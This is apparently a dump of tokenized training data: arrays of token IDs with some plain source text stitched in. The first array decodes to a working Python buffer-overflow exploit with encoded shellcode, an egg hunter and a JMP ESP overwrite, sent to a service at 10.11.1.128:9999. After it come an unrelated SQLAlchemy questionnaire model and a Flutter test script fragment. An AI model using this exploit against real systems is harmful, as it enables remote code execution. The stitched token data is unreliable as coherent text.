29916,
29953,
29890,
29905,
29916,
29955,
29929,
29905,
29916,
29946,
29900,
29905,
29916,
29941,
29883,
29905,
29916,
29955,
29955,
29905,
29916,
29953,
29881,
29905,
29916,
29900,
29953,
29908,
13,
26732,
29916,
1635,
29905,
29916,
29947,
29955,
29905,
29916,
29953,
29872,
29905,
29916,
29953,
29955,
29905,
29916,
29946,
29929,
29905,
29916,
29953,
29906,
29905,
29916,
29945,
29888,
29905,
17367,
29955,
29905,
29916,
29906,
29881,
29905,
17115,
29955,
29905,
24660,
29900,
29905,
29916,
29896,
29955,
29905,
29916,
29906,
29945,
29905,
17367,
29945,
29905,
29916,
13801,
29908,
13,
26732,
29916,
13891,
29905,
29916,
29953,
29890,
29905,
29916,
29945,
29881,
29905,
29916,
29955,
29953,
29905,
29916,
29929,
29900,
29905,
17367,
29941,
29905,
29916,
29945,
29906,
29905,
29916,
29941,
29888,
29905,
29916,
29896,
29888,
29905,
29916,
29929,
29906,
29905,
29916,
29945,
29881,
29905,
21791,
29900,
29905,
29916,
29900,
29883,
29905,
17115,
29953,
29905,
29916,
13801,
29908,
13,
26732,
29916,
29946,
29906,
29905,
29916,
29946,
29888,
29905,
29916,
29941,
29890,
29905,
29916,
311,
29905,
29916,
29955,
29890,
29905,
29916,
29947,
29900,
29905,
29916,
29946,
29872,
29905,
29916,
29896,
29888,
29905,
29916,
1327,
29905,
29916,
11512,
29905,
17367,
29941,
29905,
29916,
29946,
29881,
29905,
29916,
29896,
29946,
29905,
29916,
29947,
29929,
29905,
29916,
29896,
29953,
29908,
13,
26732,
29916,
29953,
29896,
29905,
29916,
29896,
29896,
29905,
21791,
29955,
29905,
29916,
7340,
29905,
29916,
29900,
29874,
29905,
29916,
29953,
29929,
29905,
21791,
29929,
29905,
29916,
7340,
29905,
29916,
1389,
29905,
29916,
29941,
29874,
29905,
17115,
29947,
29905,
29916,
29929,
29890,
29905,
29916,
915,
29905,
29916,
29941,
29896,
29905,
29916,
29890,
29941,
29908,
13,
26732,
29916,
29941,
29890,
29905,
29916,
29946,
29896,
29905,
29916,
29929,
29945,
29905,
29916,
6854,
29905,
29916,
29955,
29945,
29905,
29916,
29945,
29929,
29905,
29916,
5444,
29905,
29916,
11248,
29905,
29916,
617,
29905,
29916,
29881,
29906,
29905,
21791,
29947,
29905,
29916,
29947,
29896,
29905,
29916,
346,
29905,
29916,
29941,
29906,
29905,
29916,
29900,
29896,
29908,
13,
26732,
29916,
29953,
29929,
29905,
29916,
29955,
29883,
29905,
29916,
29955,
29890,
29905,
29916,
328,
29905,
29916,
29929,
29947,
29905,
29916,
29955,
29883,
29905,
29916,
12328,
29905,
29916,
29900,
29874,
29905,
29916,
29946,
29941,
29905,
29916,
29900,
29890,
29905,
29916,
29890,
29946,
29905,
29916,
29953,
29947,
29905,
29916,
1725,
29905,
29916,
29900,
29883,
29905,
29916,
29900,
29941,
29908,
13,
26732,
29916,
29896,
29906,
29905,
29916,
29906,
29946,
29905,
29916,
29929,
29947,
29905,
29916,
29929,
29955,
29905,
29916,
29890,
29946,
29905,
29916,
2142,
29905,
29916,
29941,
29874,
29905,
29916,
29955,
29941,
29905,
29916,
29946,
29946,
29905,
29916,
29953,
29941,
29905,
29916,
13891,
29905,
24660,
29900,
29905,
29916,
29946,
29874,
29905,
21791,
29947,
29905,
29916,
7340,
29908,
13,
26732,
29916,
29945,
29872,
29905,
29916,
29946,
29888,
29905,
29916,
6854,
29905,
29916,
29955,
29888,
29905,
29916,
29881,
29945,
29905,
29916,
29953,
29890,
29905,
29916,
29946,
29946,
29905,
29916,
29955,
29872,
29905,
29916,
29941,
29929,
29905,
29916,
5444,
29905,
29916,
29896,
29872,
29905,
17367,
29945,
29905,
29916,
29929,
29881,
29905,
17367,
29953,
29905,
21791,
29945,
29908,
13,
26732,
21791,
29946,
29905,
29916,
29947,
29946,
29905,
29916,
29900,
29906,
29905,
29916,
370,
29905,
24660,
29929,
29905,
29916,
29881,
29953,
29905,
29916,
687,
29905,
29916,
29896,
29946,
29905,
29916,
29945,
29883,
29905,
29916,
29929,
29881,
29905,
29916,
29900,
29896,
29905,
29916,
29946,
29900,
29905,
29916,
287,
29905,
29916,
13801,
29905,
29916,
29946,
29881,
29908,
13,
26732,
17367,
29945,
29905,
29916,
13891,
29905,
29916,
1725,
29905,
29916,
29947,
29881,
29905,
17367,
29896,
29905,
29916,
29945,
29955,
29905,
29916,
29947,
29881,
29905,
29916,
1635,
29905,
29916,
29953,
29872,
29905,
29916,
617,
29905,
29916,
29896,
29929,
29905,
29916,
29947,
29883,
29905,
17115,
29955,
29905,
29916,
1113,
29905,
29916,
311,
29908,
13,
26732,
24660,
29941,
29905,
29916,
1289,
29905,
29916,
370,
29905,
29916,
29955,
29900,
29905,
29916,
29900,
29874,
29905,
29916,
311,
29905,
29916,
10702,
29905,
29916,
29945,
29929,
29905,
21791,
29929,
29905,
29916,
29947,
29874,
29905,
29916,
29929,
29890,
29905,
24660,
29896,
29905,
24660,
29947,
29905,
29916,
29890,
29906,
29905,
29916,
29955,
29955,
29908,
13,
26732,
29916,
29900,
29896,
29905,
29916,
29900,
29946,
29905,
29916,
29953,
29955,
29905,
29916,
29881,
29955,
29905,
29916,
29945,
29896,
29905,
29916,
7340,
29905,
29916,
29881,
29947,
29905,
29916,
29929,
29947,
29905,
29916,
29900,
29896,
29905,
29916,
29900,
29874,
29905,
29916,
29947,
29929,
29905,
29916,
29955,
29900,
29905,
29916,
29946,
29890,
29905,
29916,
29947,
29945,
29905,
24660,
29953,
29908,
13,
26732,
29916,
29953,
29896,
29905,
29916,
29955,
29946,
29905,
29916,
29946,
29888,
29905,
29916,
29929,
29888,
29905,
29916,
29900,
29947,
29905,
29916,
29947,
29888,
29905,
29916,
29896,
29947,
29905,
29916,
7340,
29905,
21791,
29955,
29905,
29916,
29947,
29872,
29905,
29916,
29945,
29874,
29905,
21791,
29906,
29905,
29916,
29881,
29945,
29905,
29916,
29929,
29900,
29905,
29916,
29945,
29890,
29908,
13,
26732,
17367,
29947,
29905,
29916,
29945,
29941,
29905,
29916,
29955,
29953,
29905,
29916,
29941,
29896,
29905,
29916,
311,
29905,
29916,
29941,
29945,
29905,
29916,
29906,
29896,
29905,
29916,
3660,
29905,
29916,
29946,
29955,
29905,
29916,
29896,
29883,
29905,
29916,
29890,
29929,
29905,
29916,
29946,
29888,
29905,
29916,
29947,
29955,
29905,
29916,
29947,
29874,
29905,
21791,
29946,
29908,
13,
26732,
29916,
29945,
29900,
29905,
29916,
29900,
29941,
29905,
29916,
29941,
29929,
29905,
29916,
29941,
29929,
29905,
29916,
29896,
29872,
29905,
17115,
29946,
29905,
29916,
29941,
29946,
29905,
29916,
29906,
29929,
29905,
24660,
29955,
29905,
29916,
29900,
29946,
29905,
29916,
29900,
29941,
29905,
29916,
29896,
29941,
29905,
29916,
29945,
29872,
29905,
29916,
29896,
29874,
29905,
29916,
29890,
29929,
29908,
13,
26732,
29916,
29941,
29890,
29905,
29916,
29941,
29883,
29905,
29916,
29947,
29929,
29905,
29916,
29906,
29953,
29905,
29916,
1327,
29905,
29916,
29946,
29890,
29905,
29916,
29890,
29906,
29905,
24660,
29900,
29905,
29916,
687,
29905,
29916,
29896,
29883,
29905,
29916,
29900,
29946,
29905,
29916,
29900,
29929,
29905,
29916,
29955,
29947,
29905,
29916,
29890,
29896,
29905,
29916,
29941,
29888,
29908,
13,
26732,
17367,
29941,
29905,
29916,
29929,
29872,
29905,
29916,
29946,
29947,
29905,
29916,
29881,
29929,
29905,
29916,
29947,
29883,
29905,
29916,
29896,
29874,
29905,
29916,
29929,
29955,
29905,
29916,
29896,
29874,
29905,
29916,
29896,
29906,
29905,
17367,
29941,
29905,
29916,
29945,
29874,
29905,
29916,
29906,
29953,
29905,
29916,
29941,
29900,
29905,
29916,
29890,
29941,
29905,
17367,
29906,
29908,
13,
26732,
17367,
29955,
29905,
29916,
29955,
29883,
29905,
17115,
29955,
29905,
29916,
29955,
29874,
29905,
29916,
1725,
29905,
29916,
29906,
29874,
29905,
29916,
29945,
29896,
29905,
29916,
29941,
29881,
29905,
17367,
29947,
29905,
29916,
29929,
29883,
29905,
29916,
29900,
29890,
29905,
29916,
29929,
29955,
29905,
29916,
29900,
29955,
29905,
29916,
29955,
29955,
29905,
29916,
2585,
29908,
13,
26732,
29916,
29953,
29872,
29905,
29916,
29953,
29946,
29905,
29916,
29946,
29947,
29905,
29916,
29929,
29881,
29905,
29916,
29953,
29872,
29905,
17367,
29896,
29905,
29916,
29941,
29872,
29905,
29916,
29946,
29896,
29905,
29916,
311,
29905,
29916,
29896,
29883,
29905,
29916,
29900,
29955,
29905,
29916,
29955,
29872,
29905,
29916,
1389,
29905,
21791,
29947,
29905,
29916,
29947,
29888,
29908,
13,
26732,
29916,
29900,
29955,
29905,
29916,
29900,
29881,
29905,
29916,
29953,
29929,
29905,
29916,
29953,
29888,
29905,
29916,
29881,
29906,
29905,
29916,
29929,
29945,
29905,
29916,
29947,
29929,
29905,
29916,
29929,
29906,
29905,
24660,
29953,
29905,
17115,
29941,
29905,
29916,
29906,
29896,
29905,
29916,
29900,
29890,
29905,
29916,
29929,
29941,
29905,
29916,
29946,
29929,
29905,
29916,
29906,
29883,
29908,
13,
26732,
29916,
562,
29905,
29916,
29946,
29872,
29905,
29916,
29947,
29881,
29905,
29916,
29946,
29929,
29905,
29916,
29906,
29888,
29905,
29916,
29955,
29874,
29905,
29916,
29953,
29872,
29905,
29916,
3660,
29905,
29916,
29906,
29888,
29905,
29916,
29900,
29888,
29905,
29916,
29953,
29890,
29905,
29916,
11248,
29905,
24660,
29955,
29905,
29916,
13801,
29905,
29916,
29900,
29896,
29908,
13,
26732,
29916,
29953,
29941,
29905,
29916,
29929,
29906,
29905,
29916,
29900,
29906,
29905,
29916,
29890,
29945,
29905,
29916,
29947,
29946,
29905,
29916,
29890,
29955,
1159,
462,
462,
462,
462,
462,
965,
13,
13,
29937,
14990,
365,
1477,
29901,
29871,
29896,
29955,
29941,
6262,
13,
9040,
353,
376,
29954,
4945,
847,
4898,
12975,
718,
19710,
29918,
29882,
8428,
13,
9040,
4619,
376,
29909,
29908,
16395,
29896,
29946,
29955,
29899,
2435,
29898,
387,
29887,
29918,
29882,
8428,
876,
29871,
13,
9040,
4619,
432,
1526,
29918,
9983,
13,
9040,
4619,
7408,
29918,
29896,
462,
1678,
13,
9040,
4619,
6634,
29916,
29946,
29941,
29908,
29930,
29896,
29896,
1678,
13,
13,
2202,
29901,
462,
795,
13,
1678,
1596,
14704,
29974,
29962,
14971,
292,
304,
3646,
29908,
13,
1678,
269,
353,
9909,
29889,
11514,
29898,
11514,
29889,
5098,
29918,
1177,
2544,
29892,
9909,
29889,
6156,
7077,
29918,
1254,
1525,
5194,
29897,
13,
1678,
269,
29889,
6915,
29898,
703,
29896,
29900,
29889,
29896,
29896,
29889,
29896,
29889,
29896,
29906,
29947,
613,
29871,
29929,
29929,
29929,
29929,
876,
13,
1678,
1596,
269,
29889,
3757,
29894,
29898,
29896,
29900,
29906,
29946,
29897,
13,
1678,
1596,
14704,
29974,
29962,
317,
2548,
7408,
29871,
29906,
718,
6473,
401,
29908,
18884,
13,
1678,
269,
29889,
6717,
703,
13079,
8890,
270,
29941,
29878,
15926,
29941,
19080,
29908,
718,
6473,
401,
29897,
462,
462,
462,
462,
795,
13,
1678,
1596,
269,
29889,
3757,
29894,
29898,
29896,
29900,
29906,
29946,
29897,
3986,
13,
1678,
269,
29889,
5358,
580,
462,
462,
462,
462,
462,
462,
308,
13,
19499,
29901,
462,
308,
13,
1678,
1596,
376,
14352,
29962,
12538,
3512,
2743,
584,
703,
462,
462,
462,
462,
1669,
13,
13,
2202,
29901,
13,
1678,
1596,
14704,
29974,
29962,
14971,
292,
304,
3646,
29908,
13,
1678,
269,
353,
9909,
29889,
11514,
29898,
11514,
29889,
5098,
29918,
1177,
2544,
29892,
9909,
29889,
6156,
7077,
29918,
1254,
1525,
5194,
29897,
13,
1678,
269,
29889,
6915,
29898,
703,
29896,
29900,
29889,
29896,
29896,
29889,
29896,
29889,
29896,
29906,
29947,
613,
29871,
29929,
29929,
29929,
29929,
876,
13,
1678,
1596,
269,
29889,
3757,
29894,
29898,
29896,
29900,
29906,
29946,
29897,
13,
1678,
1596,
14704,
29974,
29962,
317,
2548,
7408,
29871,
29896,
20092,
411,
3309,
29901,
1273,
29881,
29908,
1273,
7431,
29898,
9040,
29897,
462,
462,
462,
13,
1678,
269,
29889,
6717,
29898,
9040,
29897,
462,
539,
13,
1678,
269,
29889,
5358,
580,
3986,
13,
19499,
29901,
539,
13,
1678,
1596,
376,
14352,
29962,
12538,
3512,
2743,
584,
703,
13,
2
] |
rdr_service/model/questionnaire.py | all-of-us/raw-data-repository | 39 | 40869 | <reponame>all-of-us/raw-data-repository
from sqlalchemy import (
Boolean,
Column,
ForeignKey,
ForeignKeyConstraint,
Integer,
String,
UniqueConstraint,
)
from sqlalchemy import BLOB # pylint: disable=unused-import
from sqlalchemy.orm import relationship
from typing import List
from rdr_service.model.base import Base
from rdr_service.model.code import Code
from rdr_service.model.utils import Enum, UTCDateTime
from rdr_service.participant_enums import QuestionnaireDefinitionStatus
from rdr_service.model.field_types import BlobUTF8
class QuestionnaireBase(object):
"""Mixin containing columns for Questionnaire and QuestionnaireHistory"""
questionnaireId = Column("questionnaire_id", Integer, primary_key=True)
"""RDR identifier for the questionnaire"""
# Incrementing version, starts at 1 and is incremented on each update.
version = Column("version", Integer, nullable=False)
"""RDR version of the questionnaire"""
semanticVersion = Column('semantic_version', String(100))
"""PTSC's version of the questionnaire (does not necessarily match RDR version)"""
semanticDesc = Column('semantic_desc', String(500))
irbMapping = Column('irb_mapping', String(500))
created = Column("created", UTCDateTime, nullable=False)
"""The date and time the questionnaire was created"""
lastModified = Column("last_modified", UTCDateTime, nullable=False)
"""The date and time the questionnaire was last modified"""
# The JSON representation of the questionnaire provided by the client.
# Concepts and questions can be be parsed out of this for use in querying.
resource = Column("resource", BlobUTF8, nullable=False)
status = Column("status", Enum(QuestionnaireDefinitionStatus), default=QuestionnaireDefinitionStatus.VALID)
externalId = Column('external_id', String(100))
def asdict_with_children(self):
return self.asdict(follow={"concepts": {}, "questions": {}})
class Questionnaire(QuestionnaireBase, Base):
"""A questionnaire containing questions to pose to participants."""
__tablename__ = "questionnaire"
concepts = relationship(
"QuestionnaireConcept",
cascade="expunge",
cascade_backrefs=False,
primaryjoin="Questionnaire.questionnaireId==" + "foreign(QuestionnaireConcept.questionnaireId)",
)
questions = relationship(
"QuestionnaireQuestion",
cascade="expunge",
cascade_backrefs=False,
primaryjoin="and_(Questionnaire.questionnaireId==" + "foreign(QuestionnaireQuestion.questionnaireId)," + \
"Questionnaire.version==" + "foreign(QuestionnaireQuestion.questionnaireVersion))",
)
class QuestionnaireHistory(QuestionnaireBase, Base):
__tablename__ = "questionnaire_history"
version = Column("version", Integer, primary_key=True)
concepts: List['QuestionnaireConcept'] = relationship("QuestionnaireConcept", cascade="all, delete-orphan")
questions: List['QuestionnaireQuestion'] = relationship("QuestionnaireQuestion", cascade="all, delete-orphan")
class QuestionnaireConcept(Base):
"""Concepts for the questionnaire as a whole.
These should be copied whenever a new version of
a questionnaire is created.
"""
__tablename__ = "questionnaire_concept"
questionnaireConceptId = Column("questionnaire_concept_id", Integer, primary_key=True)
"""An identifier to link the questionnaire to the CONCEPT table from OMOP"""
questionnaireId = Column("questionnaire_id", Integer, nullable=False)
"""Questionnaire identifier for the concept"""
questionnaireVersion = Column("questionnaire_version", Integer, nullable=False)
"""Questionnaire's RDR version for the concept"""
codeId = Column("code_id", Integer, ForeignKey("code.code_id"), nullable=False)
"""The corresponding concept for this item"""
__table_args__ = (
ForeignKeyConstraint(
["questionnaire_id", "questionnaire_version"],
["questionnaire_history.questionnaire_id", "questionnaire_history.version"],
),
UniqueConstraint("questionnaire_id", "questionnaire_version", "code_id"),
)
class QuestionnaireQuestion(Base):
"""A question in a questionnaire.
These should be copied whenever a new version of a
questionnaire is created.
Each question has a concept system and code defining what the question is
about. Questions on
different questionnaires can share the same concept code, but concept code is
unique within a
given questionnaire.
"""
__tablename__ = "questionnaire_question"
questionnaireQuestionId = Column("questionnaire_question_id", Integer, primary_key=True)
"""RDR identifier for the question"""
questionnaireId = Column("questionnaire_id", Integer)
"""RDR identifier for the containing questionnaire"""
questionnaireVersion = Column("questionnaire_version", Integer)
"""RDR version for the containing questionnaire"""
linkId = Column("link_id", String(40))
"""The unique ID for the item in the questionnaire"""
codeId = Column("code_id", Integer, ForeignKey("code.code_id"), nullable=False)
"""The corresponding concept for this question"""
repeats = Column("repeats", Boolean, nullable=False)
"""Whether the item may repeat"""
__table_args__ = (
ForeignKeyConstraint(
["questionnaire_id", "questionnaire_version"],
["questionnaire_history.questionnaire_id", "questionnaire_history.version"],
),
UniqueConstraint("questionnaire_id", "questionnaire_version", "link_id"),
)
code = relationship(Code)
| [
1,
529,
276,
1112,
420,
29958,
497,
29899,
974,
29899,
375,
29914,
1610,
29899,
1272,
29899,
19033,
13,
3166,
4576,
284,
305,
6764,
1053,
313,
13,
1678,
11185,
29892,
13,
1678,
12481,
29892,
13,
1678,
19358,
2558,
29892,
13,
1678,
19358,
2558,
21529,
29892,
13,
1678,
8102,
29892,
13,
1678,
1714,
29892,
13,
1678,
853,
1387,
21529,
29892,
13,
29897,
13,
3166,
4576,
284,
305,
6764,
1053,
350,
28902,
29871,
396,
282,
2904,
524,
29901,
11262,
29922,
348,
3880,
29899,
5215,
13,
3166,
4576,
284,
305,
6764,
29889,
555,
1053,
9443,
13,
3166,
19229,
1053,
2391,
13,
13,
3166,
364,
7707,
29918,
5509,
29889,
4299,
29889,
3188,
1053,
7399,
13,
3166,
364,
7707,
29918,
5509,
29889,
4299,
29889,
401,
1053,
5920,
13,
3166,
364,
7707,
29918,
5509,
29889,
4299,
29889,
13239,
1053,
1174,
398,
29892,
17998,
11384,
13,
3166,
364,
7707,
29918,
5509,
29889,
1595,
12654,
424,
29918,
264,
6762,
1053,
894,
15421,
14683,
5709,
13,
3166,
364,
7707,
29918,
5509,
29889,
4299,
29889,
2671,
29918,
8768,
1053,
350,
2127,
10496,
29947,
13,
13,
13,
1990,
894,
15421,
5160,
29898,
3318,
1125,
13,
1678,
9995,
29924,
861,
262,
6943,
4341,
363,
894,
15421,
322,
894,
15421,
20570,
15945,
29908,
13,
13,
1678,
1139,
15421,
1204,
353,
12481,
703,
12470,
15421,
29918,
333,
613,
8102,
29892,
7601,
29918,
1989,
29922,
5574,
29897,
13,
1678,
9995,
29934,
8353,
15882,
363,
278,
1139,
15421,
15945,
29908,
13,
1678,
396,
512,
17053,
292,
1873,
29892,
8665,
472,
29871,
29896,
322,
338,
11924,
287,
373,
1269,
2767,
29889,
13,
1678,
1873,
353,
12481,
703,
3259,
613,
8102,
29892,
1870,
519,
29922,
8824,
29897,
13,
1678,
9995,
29934,
8353,
1873,
310,
278,
1139,
15421,
15945,
29908,
13,
1678,
28837,
6594,
353,
12481,
877,
12846,
7716,
29918,
3259,
742,
1714,
29898,
29896,
29900,
29900,
876,
13,
1678,
9995,
7982,
7187,
29915,
29879,
1873,
310,
278,
1139,
15421,
313,
13221,
451,
12695,
1993,
390,
8353,
1873,
5513,
15945,
13,
1678,
28837,
19617,
353,
12481,
877,
12846,
7716,
29918,
14273,
742,
1714,
29898,
29945,
29900,
29900,
876,
13,
1678,
3805,
29890,
15845,
353,
12481,
877,
381,
29890,
29918,
20698,
742,
1714,
29898,
29945,
29900,
29900,
876,
13,
1678,
2825,
353,
12481,
703,
11600,
613,
17998,
11384,
29892,
1870,
519,
29922,
8824,
29897,
13,
1678,
9995,
1576,
2635,
322,
931,
278,
1139,
15421,
471,
2825,
15945,
29908,
13,
1678,
1833,
2111,
2164,
353,
12481,
703,
4230,
29918,
1545,
2164,
613,
17998,
11384,
29892,
1870,
519,
29922,
8824,
29897,
13,
1678,
9995,
1576,
2635,
322,
931,
278,
1139,
15421,
471,
1833,
9120,
15945,
29908,
13,
1678,
396,
450,
4663,
8954,
310,
278,
1139,
15421,
4944,
491,
278,
3132,
29889,
13,
1678,
396,
1281,
1547,
29879,
322,
5155,
508,
367,
367,
21213,
714,
310,
445,
363,
671,
297,
2346,
292,
29889,
13,
1678,
6503,
353,
12481,
703,
10314,
613,
350,
2127,
10496,
29947,
29892,
1870,
519,
29922,
8824,
29897,
13,
1678,
4660,
353,
12481,
703,
4882,
613,
1174,
398,
29898,
16492,
15421,
14683,
5709,
511,
2322,
29922,
16492,
15421,
14683,
5709,
29889,
26707,
29897,
13,
13,
1678,
7029,
1204,
353,
12481,
877,
23176,
29918,
333,
742,
1714,
29898,
29896,
29900,
29900,
876,
13,
13,
1678,
822,
408,
8977,
29918,
2541,
29918,
11991,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
294,
8977,
29898,
23031,
3790,
29908,
535,
1547,
29879,
1115,
24335,
376,
2619,
1115,
426,
24289,
13,
13,
13,
1990,
894,
15421,
29898,
16492,
15421,
5160,
29892,
7399,
1125,
13,
1678,
9995,
29909,
1139,
15421,
6943,
5155,
304,
18593,
304,
27138,
1213,
15945,
13,
13,
1678,
4770,
3891,
2435,
420,
1649,
353,
376,
12470,
15421,
29908,
13,
1678,
22001,
353,
9443,
29898,
13,
4706,
376,
16492,
15421,
1168,
1547,
613,
13,
4706,
3209,
6332,
543,
4548,
19440,
613,
13,
4706,
3209,
6332,
29918,
1627,
24539,
29922,
8824,
29892,
13,
4706,
7601,
7122,
543,
16492,
15421,
29889,
12470,
15421,
1204,
26359,
718,
376,
1079,
647,
29898,
16492,
15421,
1168,
1547,
29889,
12470,
15421,
1204,
19123,
13,
1678,
1723,
13,
1678,
5155,
353,
9443,
29898,
13,
4706,
376,
16492,
15421,
16492,
613,
13,
4706,
3209,
6332,
543,
4548,
19440,
613,
13,
4706,
3209,
6332,
29918,
1627,
24539,
29922,
8824,
29892,
13,
4706,
7601,
7122,
543,
392,
23538,
16492,
15421,
29889,
12470,
15421,
1204,
26359,
718,
376,
1079,
647,
29898,
16492,
15421,
16492,
29889,
12470,
15421,
1204,
511,
29908,
718,
320,
13,
4706,
376,
16492,
15421,
29889,
3259,
26359,
718,
376,
1079,
647,
29898,
16492,
15421,
16492,
29889,
12470,
15421,
6594,
876,
613,
13,
1678,
1723,
13,
13,
13,
1990,
894,
15421,
20570,
29898,
16492,
15421,
5160,
29892,
7399,
1125,
13,
1678,
4770,
3891,
2435,
420,
1649,
353,
376,
12470,
15421,
29918,
18434,
29908,
13,
1678,
1873,
353,
12481,
703,
3259,
613,
8102,
29892,
7601,
29918,
1989,
29922,
5574,
29897,
13,
1678,
22001,
29901,
2391,
1839,
16492,
15421,
1168,
1547,
2033,
353,
9443,
703,
16492,
15421,
1168,
1547,
613,
3209,
6332,
543,
497,
29892,
5217,
29899,
5676,
273,
1159,
13,
1678,
5155,
29901,
2391,
1839,
16492,
15421,
16492,
2033,
353,
9443,
703,
16492,
15421,
16492,
613,
3209,
6332,
543,
497,
29892,
5217,
29899,
5676,
273,
1159,
13,
13,
13,
1990,
894,
15421,
1168,
1547,
29898,
5160,
1125,
13,
1678,
9995,
1168,
1547,
29879,
363,
278,
1139,
15421,
408,
263,
3353,
29889,
13,
13,
29871,
4525,
881,
367,
13746,
10940,
263,
716,
1873,
310,
13,
29871,
263,
1139,
15421,
338,
2825,
29889,
13,
29871,
9995,
13,
13,
1678,
4770,
3891,
2435,
420,
1649,
353,
376,
12470,
15421,
29918,
535,
1547,
29908,
13,
1678,
1139,
15421,
1168,
1547,
1204,
353,
12481,
703,
12470,
15421,
29918,
535,
1547,
29918,
333,
613,
8102,
29892,
7601,
29918,
1989,
29922,
5574,
29897,
13,
1678,
9995,
2744,
15882,
304,
1544,
278,
1139,
15421,
304,
278,
8707,
4741,
7982,
1591,
515,
438,
29924,
4590,
15945,
29908,
13,
1678,
1139,
15421,
1204,
353,
12481,
703,
12470,
15421,
29918,
333,
613,
8102,
29892,
1870,
519,
29922,
8824,
29897,
13,
1678,
9995,
16492,
15421,
15882,
363,
278,
6964,
15945,
29908,
13,
1678,
1139,
15421,
6594,
353,
12481,
703,
12470,
15421,
29918,
3259,
613,
8102,
29892,
1870,
519,
29922,
8824,
29897,
13,
1678,
9995,
16492,
15421,
29915,
29879,
390,
8353,
1873,
363,
278,
6964,
15945,
29908,
13,
1678,
775,
1204,
353,
12481,
703,
401,
29918,
333,
613,
8102,
29892,
19358,
2558,
703,
401,
29889,
401,
29918,
333,
4968,
1870,
519,
29922,
8824,
29897,
13,
1678,
9995,
1576,
6590,
6964,
363,
445,
2944,
15945,
29908,
13,
1678,
4770,
2371,
29918,
5085,
1649,
353,
313,
13,
4706,
19358,
2558,
21529,
29898,
13,
9651,
6796,
12470,
15421,
29918,
333,
613,
376,
12470,
15421,
29918,
3259,
12436,
13,
9651,
6796,
12470,
15421,
29918,
18434,
29889,
12470,
15421,
29918,
333,
613,
376,
12470,
15421,
29918,
18434,
29889,
3259,
12436,
13,
4706,
10353,
13,
4706,
853,
1387,
21529,
703,
12470,
15421,
29918,
333,
613,
376,
12470,
15421,
29918,
3259,
613,
376,
401,
29918,
333,
4968,
13,
1678,
1723,
13,
13,
13,
1990,
894,
15421,
16492,
29898,
5160,
1125,
13,
1678,
9995,
29909,
1139,
297,
263,
1139,
15421,
29889,
13,
13,
29871,
4525,
881,
367,
13746,
10940,
263,
716,
1873,
310,
263,
13,
29871,
1139,
15421,
338,
2825,
29889,
13,
13,
29871,
7806,
1139,
756,
263,
6964,
1788,
322,
775,
16184,
825,
278,
1139,
338,
13,
29871,
1048,
29889,
894,
29879,
373,
13,
29871,
1422,
1139,
1056,
2658,
508,
6232,
278,
1021,
6964,
775,
29892,
541,
6964,
775,
338,
13,
29871,
5412,
2629,
263,
13,
29871,
2183,
1139,
15421,
29889,
13,
29871,
9995,
13,
13,
1678,
4770,
3891,
2435,
420,
1649,
353,
376,
12470,
15421,
29918,
12470,
29908,
13,
1678,
1139,
15421,
16492,
1204,
353,
12481,
703,
12470,
15421,
29918,
12470,
29918,
333,
613,
8102,
29892,
7601,
29918,
1989,
29922,
5574,
29897,
13,
1678,
9995,
29934,
8353,
15882,
363,
278,
1139,
15945,
29908,
13,
1678,
1139,
15421,
1204,
353,
12481,
703,
12470,
15421,
29918,
333,
613,
8102,
29897,
13,
1678,
9995,
29934,
8353,
15882,
363,
278,
6943,
1139,
15421,
15945,
29908,
13,
1678,
1139,
15421,
6594,
353,
12481,
703,
12470,
15421,
29918,
3259,
613,
8102,
29897,
13,
1678,
9995,
29934,
8353,
1873,
363,
278,
6943,
1139,
15421,
15945,
29908,
13,
1678,
1544,
1204,
353,
12481,
703,
2324,
29918,
333,
613,
1714,
29898,
29946,
29900,
876,
13,
1678,
9995,
1576,
5412,
3553,
363,
278,
2944,
297,
278,
1139,
15421,
15945,
29908,
13,
1678,
775,
1204,
353,
12481,
703,
401,
29918,
333,
613,
8102,
29892,
19358,
2558,
703,
401,
29889,
401,
29918,
333,
4968,
1870,
519,
29922,
8824,
29897,
13,
1678,
9995,
1576,
6590,
6964,
363,
445,
1139,
15945,
29908,
13,
1678,
5565,
1446,
353,
12481,
703,
276,
412,
1446,
613,
11185,
29892,
1870,
519,
29922,
8824,
29897,
13,
1678,
9995,
8809,
1979,
278,
2944,
1122,
12312,
15945,
29908,
13,
1678,
4770,
2371,
29918,
5085,
1649,
353,
313,
13,
4706,
19358,
2558,
21529,
29898,
13,
9651,
6796,
12470,
15421,
29918,
333,
613,
376,
12470,
15421,
29918,
3259,
12436,
13,
9651,
6796,
12470,
15421,
29918,
18434,
29889,
12470,
15421,
29918,
333,
613,
376,
12470,
15421,
29918,
18434,
29889,
3259,
12436,
13,
4706,
10353,
13,
4706,
853,
1387,
21529,
703,
12470,
15421,
29918,
333,
613,
376,
12470,
15421,
29918,
3259,
613,
376,
2324,
29918,
333,
4968,
13,
1678,
1723,
13,
13,
1678,
775,
353,
9443,
29898,
3399,
29897,
13,
2
] |
runtime/dart/gen_flutter_test_bundle_invocation.py | creatint/topaz | 1 | 167503 | <gh_stars>1-10
#!/usr/bin/env python
# Copyright 2018 The Fuchsia Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import argparse
import os
import stat
import string
import sys
def main():
parser = argparse.ArgumentParser(
description='Generate a script that invokes multiple flutter_test targets')
parser.add_argument('--wd',
help='Path to the working directory, relative to that of the invocation file',
required=True)
parser.add_argument('--out',
help='Path to the invocation file to generate',
required=True)
parser.add_argument('--test',
action='append',
help='Adds a target to the list of test executables, relative to the working directory',
required=True)
args = parser.parse_args()
test_file = args.out
test_dir = os.path.dirname(test_file)
if not os.path.exists(test_dir):
os.makedirs(test_dir)
script = '''#!/bin/bash
# DO NOT EDIT
# This script is generated by:
# //topaz/runtime/dart/gen_test_bundle_invocation.py
# See: //topaz/runtime/dart/dart_test.gni
'''
script += 'cd "$(dirname $0)/%s"\n' % args.wd
for test_executable in args.test:
script += '%s "$@"\n' % test_executable
with open(test_file, 'w') as file:
file.write(script)
permissions = (stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
stat.S_IRGRP | stat.S_IWGRP | stat.S_IXGRP |
stat.S_IROTH)
os.chmod(test_file, permissions)
if __name__ == '__main__':
sys.exit(main())
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
29937,
14708,
4855,
29914,
2109,
29914,
6272,
3017,
13,
29937,
14187,
1266,
29871,
29906,
29900,
29896,
29947,
450,
383,
19873,
423,
13189,
943,
29889,
2178,
10462,
21676,
29889,
13,
29937,
4803,
310,
445,
2752,
775,
